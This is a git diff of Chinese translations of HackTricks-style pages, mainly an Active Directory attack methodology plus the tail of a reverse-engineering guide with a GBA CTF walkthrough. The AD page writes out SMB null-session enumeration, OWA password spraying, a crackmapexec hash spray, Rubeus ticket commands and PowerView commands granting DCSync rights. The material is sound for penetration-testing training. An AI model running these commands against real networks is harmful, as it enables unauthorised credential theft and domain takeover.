插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后再次按下开始按钮绿色按钮或f9断点将在真实代码的开头命中。
插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后,再次按下开始按钮(绿色按钮或 f9断点将在真实代码的开头命中。
这也非常有趣,因为如果你在图形应用程序中按下一个按钮,调试器将停止在该按钮执行的函数中。
## Golang
如果你需要反向工程一个Golang二进制文件我建议你使用IDA插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
如果你需要反向工程一个 Golang 二进制文件,我建议你使用 IDA 插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
只需按**ATL+f7**在IDA中导入python插件并选择python插件。
只需按**ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
这将解析函数的名称。
## 编译的Python
## 编译的 Python
在此页面中,你可以找到如何从ELF/EXE Python编译的二进制文件中获取Python代码:
在此页面中,你可以找到如何从 ELF/EXE python 编译的二进制文件中获取 python 代码:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@ -277,14 +277,14 @@ apt-get install libz3-dev
## GBA - Game Body Advance
如果你获得了GBA游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
如果你获得了 GBA 游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
- [**no$gba**](https://problemkaputt.de/gba.htm)_下载调试版本_- 包含带界面的调试器
- [**mgba**](https://mgba.io) - 包含CLI调试器
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra插件
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra插件
- [**mgba**](https://mgba.io) - 包含 CLI 调试器
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra 插件
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra 插件
在[**no$gba**](https://problemkaputt.de/gba.htm)中_**选项 --> 模拟设置 --> 控制**_\*\* \*\*你可以看到如何按下Game Boy Advance的**按钮**
在[**no$gba**](https://problemkaputt.de/gba.htm)中_**选项 --> 模拟设置 --> 控制**_\*\* \*\*你可以看到如何按下 Game Boy Advance **按钮**
![](<../../images/image (581).png>)
@ -301,7 +301,7 @@ DOWN = 128
R = 256
L = 256
```
在这种程序中,令人感兴趣的部分是**程序如何处理用户输入**。在地址**0x4000130**,你会找到常见的函数:**KEYINPUT**。
在这种程序中,令人感兴趣的部分是**程序如何处理用户输入**。在地址**0x4000130**,你会找到常见的函数:**KEYINPUT**。
![](<../../images/image (447).png>)
@ -368,15 +368,15 @@ FUN_08000864();
if (uVar1 == 0x10) {
DAT_030000d8 = DAT_030000d8 + 0x3a;
```
前面的代码中,您可以看到我们正在将 **uVar1**(按下按钮的 **值** 所在的位置)与一些值进行比较
之前的代码中,你可以看到我们正在比较 **uVar1****按下按钮的值**所在的位置)与一些值
- 首先,它与 **值 4****SELECT** 按钮)进行比较:在这个挑战中,这个按钮清除屏幕
- 然后,它与 **值 8****START** 按钮)进行比较:在这个挑战中,这检查代码是否有效以获取标志。
- 首先,它与 **值 4****SELECT** 按钮)进行比较:在这个挑战中,这个按钮清除屏幕
- 然后,它与 **值 8****START** 按钮)进行比较:在这个挑战中,这个按钮检查代码是否有效以获取标志。
- 在这种情况下,变量 **`DAT_030000d8`** 与 0xf3 进行比较,如果值相同,则执行某些代码。
- 在其他情况下,检查某个 cont`DAT_030000d4`)。这是一个 cont因为在进入代码后立即加 1。\
**如果** 小于 8执行涉及 **添加** 值到 **`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要 cont 小于 8
- 在其他情况下,检查某个计数(`DAT_030000d4`)。这是一个计数,因为在进入代码后会加 1。\
**如果** 小于 8会进行一些涉及 **添加** 值到 **`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要计数小于 8
因此,在这个挑战中,知道按钮的值,您需要 **按下一个长度小于 8 的组合,使得结果的和为 0xf3。**
因此,在这个挑战中,知道按钮的值后,你需要 **按下一个长度小于 8 的组合,使得结果的和为 0xf3。**
**本教程的参考:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -386,9 +386,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## 课程
## Courses
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (二进制去混淆)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (二进制去混淆)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Active Directory 方法论
# Active Directory Methodology
{{#include ../../banners/hacktricks-training.md}}
## 基本概述
## Basic overview
**Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组****子组**,同时在不同级别上控制 **访问权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是这些域的组,按共享结构连接,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是通过共享结构连接的这些域的组,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 中的关键概念包括:
@ -25,26 +25,26 @@
5. **权限管理** 通过规范其未经授权的分发和使用来帮助保护版权材料。
6. **DNS 服务** **域名** 的解析至关重要。
有关更详细的解释,请查看:[**TechTerms - Active Directory 定义**](https://techterms.com/definition/active_directory)
有关更详细的解释,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos 身份验证**
### **Kerberos Authentication**
要学习如何 **攻击 AD**,您需要非常好地 **理解** **Kerberos 身份验证过程**。\
[**如果您仍然不知道它是如何工作的,请阅读此页面。**](kerberos-authentication.md)
## 备忘单
## Cheat Sheet
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。
## 侦察 Active Directory无凭据/会话)
## Recon Active Directory (No creds/sessions)
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
- **渗透测试网络:**
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 枚举 DNS 可能会提供有关域中关键服务器的信息,如 Web、打印机、共享、VPN、媒体等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)以获取有关如何执行此操作的更多信息。
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
- **检查 smb 服务上的空和访客访问**(这在现代 Windows 版本上不起作用):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -69,12 +69,12 @@
- 收集凭据 **暴露** [**假 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology)
- 从内部文档、社交媒体、服务(主要是 Web中提取用户名/姓名,以及从公开可用的信息中提取。
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定****[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**。最常见的约定是_NameSurname_、_Name.Surname_、_NamSur_每个 3 个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_abc123
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定****[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**。最常见的约定是_NameSurname_、_Name.Surname_、_NamSur_每个 3 个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_abc123
- 工具:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### 用户枚举
### User enumeration
- **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。
@ -90,7 +90,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
```
- **OWA (Outlook Web Access) 服务器**
如果您在网络中发现了这些服务器,您还可以对其执行 **用户枚举**。例如,您可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper)
如果您在网络中发现了这些服务器,您还可以对其执行 **用户枚举**。例如,您可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -103,17 +103,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
>
> 然而,你应该在之前的侦查步骤中获得**公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
> 然而,你应该在之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
### 知道一个或多个用户名
好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
好的,所以你已经知道一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户**没有**属性 _DONT_REQ_PREAUTH_你可以**请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的**常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以**喷洒 OWA 服务器**以尝试访问用户的邮件服务器。
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的**常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器**尝试访问用户的邮件服务器。
{{#ref}}
password-spraying.md
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS 中毒
你可能能够**获取**一些挑战**哈希**以破解**中毒**某些网络协议:
你可能能够 **获取** 一些挑战 **哈希** 来破解 **中毒**些网络协议:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,11 +129,11 @@ password-spraying.md
### NTML 中继
如果你已经成功枚举了活动目录,你将拥有**更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来获取对 AD 环境的访问
### 取 NTLM 凭证
### 取 NTLM 凭证
如果你可以使用**空或访客用户**访问其他 PC 或共享,你可以**放置文件**(如 SCF 文件),如果以某种方式被访问,将**触发对你的 NTML 认证**,这样你就可以**窃取** **NTLM 挑战**以破解它
如果你可以使用 **null 或访客用户** 访问其他 PC 或共享,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -141,9 +141,9 @@ password-spraying.md
## 使用凭证/会话枚举活动目录
在这个阶段,你需要**获取有效域账户的凭证或会话。**如果你有一些有效的凭证或作为域用户的 shell**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在这个阶段,你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在开始经过身份验证的枚举之前,你应该知道**Kerberos 双跳问题**。
在开始经过身份验证的枚举之前,你应该知道 **Kerberos 双跳问题**
{{#ref}}
kerberos-double-hop-problem.md
@ -151,31 +151,31 @@ kerberos-double-hop-problem.md
### 枚举
成功妥协一个账户是**开始妥协整个域的重要一步**,因为你将能够开始**活动目录枚举:**
成功妥协一个账户是 **开始妥协整个域的重大步骤**,因为你将能够开始 **活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得**所有用户名的列表**并尝试妥协账户的密码、空密码和新的有前景的密码。
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
- 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/),这将更加隐蔽
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它**不是很隐蔽**(取决于你使用的收集方法),但**如果你不在乎**这一点,你绝对应该试试。找出用户可以 RDP 的地方,找到其他组的路径等。
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它 **不是很隐蔽**(取决于你使用的收集方法),但 **如果你不在乎**,你绝对应该试试。找出用户可以 RDP 的地方,找到其他组的路径等。
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用带 GUI 的工具 **AdExplorer.exe** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword__unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **提取所有域用户**
从 Windows 获取所有域用户名非常简单(`net user /domain``Get-DomainUser``wmic useraccount get name,sid`)。在 Linux 中,你可以使用:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username``enum4linux -a -u "user" -p "password" <DC IP>`
从 Windows 获取所有域用户名非常简单(`net user /domain``Get-DomainUser``wmic useraccount get name,sid`)。在 Linux 中,你可以使用:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username``enum4linux -a -u "user" -p "password" <DC IP>`
> 即使这个枚举部分看起来很小,这也是最重要的部分。访问链接(主要是 cmd、powershell、powerview 和 BloodHound 的链接),学习如何枚举域并练习,直到你感到舒适。在评估期间,这将是找到通往 DA 的关键时刻,或者决定没有什么可以做的。
### Kerberoast
Kerberoasting 涉及获取**TGS 票证**,这些票证由与用户账户相关的服务使用,并破解其加密——这基于用户密码——**离线**。
Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
更多信息请参见:
@ -185,17 +185,17 @@ kerberoast.md
### 远程连接 (RDP, SSH, FTP, Win-RM 等)
一旦你获得了一些凭证,你可以检查是否可以访问任何**机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
一旦你获得了一些凭证,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
### 本地权限提升
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以使用该用户**访问域中的任何机器**,你应该尝试找到**本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能**在内存中LSASS和本地SAM转储其他用户的哈希**。
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中LSASS和本地SAM转储其他用户的哈希**
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
你很**不可能**在当前用户中找到**票证**,使你能够访问意外资源,但你可以检查:
你很 **不可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -209,9 +209,9 @@ kerberoast.md
### **在计算机共享中查找凭据**
现在你有了一些基本凭据,你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行,但这是一项非常无聊的重复任务(如果你发现数百个文档需要检查,更是如此)。
现在你有了一些基本凭据,你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行,但这是一项非常无聊的重复任务(如果你发现数百个文档需要检查,更是如此)。
[**点击此链接了解你可以使用的工具。**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
[**点击此链接了解你可以使用的工具。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### 偷取 NTLM 凭据
@ -229,7 +229,7 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 在具有特权凭据/会话的活动目录上进行特权提升
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
@ -243,11 +243,11 @@ printnightmare.md
**一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\
你需要使用一些**工具**来**执行**使用该**哈希的 NTLM 认证****或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/#pass-the-hash)
[**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash)
### 超越哈希/传递密钥
### 超越传递哈希/传递密钥
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### 传递票证
在**传递票证 (PTT)** 攻击方法中,攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**,获得对网络中资源和服务的未授权访问。
在**传递票证 (PTT)** 攻击方法中,攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**在网络中获得对资源和服务的未授权访问。
{{#ref}}
pass-the-ticket.md
@ -263,14 +263,14 @@ pass-the-ticket.md
### 凭据重用
如果你拥有**本地管理员**的**哈希**或**密码**,你应该尝试使用它**本地登录**到其他**PC**。
如果你拥有**本地管理员**的**哈希**或**密码**,你应该尝试使用它**在其他 PC 上本地登录**。
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 请注意,这非常**嘈杂**,并且**LAPS**将**减轻**这一点
> 请注意,这非常**嘈杂**,并且**LAPS**会**减轻**它
### MSSQL 滥用与受信任链接
@ -285,7 +285,7 @@ abusing-ad-mssql.md
### 不受限制的委派
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**,您将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
因此,如果**域管理员登录到计算机**,您将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC
{{#ref}}
@ -294,8 +294,8 @@ unconstrained-delegation.md
### 受限委派
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机中的某些服务**。\
然后,如果您**妥协该用户/计算机的哈希**,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户访问计算机上的某些服务**。\
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
{{#ref}}
constrained-delegation.md
@ -303,7 +303,7 @@ constrained-delegation.md
### 基于资源的受限委派
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行:
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
{{#ref}}
resource-based-constrained-delegation.md
@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
### 第三方会话滥用
如果**其他用户****访问**被**妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
通常用户通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法:
通常用户通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法:
{{#ref}}
rdp-sessions-abuse.md
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,并通过 ACL 控制对授权用户的访问。拥有足够权限访问这些密码后,可以转向其他计算机
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,并通过 ACL 控制对授权用户的访问。拥有足够权限访问这些密码后,可以实现对其他计算机的转移
{{#ref}}
laps.md
@ -358,7 +358,7 @@ ad-certificates/certificate-theft.md
ad-certificates/domain-escalation.md
{{#endref}}
## 高权限账户的后期利用
## 使用高权限账户的后期利用
### 转储域凭据
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- 授予用户[**DCSync**](./#dcsync)权限
- 授予用户[**DCSync**](#dcsync)权限
```powershell
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -401,9 +401,9 @@ silver-ticket.md
### 金票
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGT)**,这些票据对于在 AD 网络中进行身份验证至关重要。
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGTs)**,这些票据对于在 AD 网络中进行身份验证至关重要。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGT**(银票攻击)。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGTs**(银票攻击)。
{{#ref}}
golden-ticket.md
@ -435,9 +435,9 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许未经授权的访问,除非进行严格监控。
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许不当访问,除非进行严格监控。
[**有关 AdminDSHolder 组的更多信息。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM 凭据
@ -463,7 +463,7 @@ acl-persistence-abuse/
security-descriptors.md
{{#endref}}
### 骨架
### 骨架钥
在内存中更改**LSASS**以建立一个**通用密码**,授予对所有域账户的访问权限。
@ -473,7 +473,7 @@ skeleton-key.md
### 自定义 SSP
[了解什么是 SSP安全支持提供者](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
[了解什么是 SSP安全支持提供者在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
您可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。\\
{{#ref}}
@ -500,55 +500,55 @@ laps.md
## 森林权限提升 - 域信任
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
**步骤**
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
